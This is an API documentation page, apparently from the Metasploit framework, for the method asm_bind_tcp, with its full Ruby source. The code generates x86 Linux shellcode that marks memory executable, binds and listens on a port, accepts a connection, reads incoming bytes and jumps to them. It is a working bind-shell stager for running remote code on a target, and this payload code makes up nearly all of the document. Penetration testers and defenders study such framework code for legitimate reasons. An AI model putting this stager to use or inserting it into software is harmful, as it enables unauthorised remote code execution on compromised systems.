Method: Msf::Payload::Linux::BindTcp#asm_bind_tcp
- Defined in:
- lib/msf/core/payload/linux/bind_tcp.rb
#asm_bind_tcp(opts = {}) ⇒ Object
Generate an assembly stub with the configured feature set and options.
82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 |
# File 'lib/msf/core/payload/linux/bind_tcp.rb', line 82 def asm_bind_tcp(opts={}) #reliable = opts[:reliable] af_inet = 2 if use_ipv6 af_inet = 0xa end encoded_port = "0x%.8x" % [opts[:port].to_i, af_inet].pack("vn").unpack("N").first asm = %Q^ bind_tcp: push 0x7d ; mprotect syscall pop eax cdq mov dl,0x7 mov ecx,0x1000 mov ebx,esp and bx,0xf000 int 0x80 ; invoke mprotect xor ebx,ebx mul ebx push ebx ; PROTO inc ebx ; SYS_SOCKET and SOCK_STREAM push ebx push #{af_inet} ; SYS_BIND and AF_INET(6) mov ecx,esp mov al,0x66 ; socketcall syscall int 0x80 ; invoke socketcall (SYS_SOCKET) ; set the SO_REUSEADDR flag on the socket push ecx push 4 push esp push 2 push 1 push eax xchg eax,edi ; stash the socket handle mov ecx, esp push 0xe ; SYS_SETSOCKOPT pop ebx push 0x66 ; socketcall syscall pop eax int 0x80 mov eax,edi ; restore the socket handle add esp, 0x14 pop ecx ; restore ecx pop ebx pop esi ^ if use_ipv6 asm << %Q^ push 2 pop ebx push edx push edx push edx push edx push edx push edx push #{encoded_port} mov ecx,esp push 0x1c ^ else asm << %Q^ push edx push #{encoded_port} push 0x10 ^ end asm << %Q^ push ecx push eax mov ecx,esp push 0x66 ; socketcall syscall pop eax int 0x80 ; invoke socketcall (SYS_BIND) shl ebx,1 ; SYS_LISTEN mov al,0x66 ; socketcall syscall (SYS_LISTEN) int 0x80 ; invoke socketcall push edi ; stash the listen socket inc ebx ; SYS_ACCEPT mov al,0x66 ; socketcall syscall mov [ecx+0x4],edx int 0x80 ; invoke socketcall (SYS_ACCEPT) xchg eax,ebx ^ if include_send_uuid asm << %Q^ mov edi, ebx #{asm_send_uuid} ^ end asm << %Q^ mov dh,0xc ; at least 0x0c00 bytes mov al,0x3 ; read syscall int 0x80 ; invoke read xchg ebx,edi ; stash the accept socket in edi pop ebx ; restore the listen socket mov al,0x6 ; close syscall int 0x80 ; invoke close jmp ecx ; jump to the payload ^ asm end |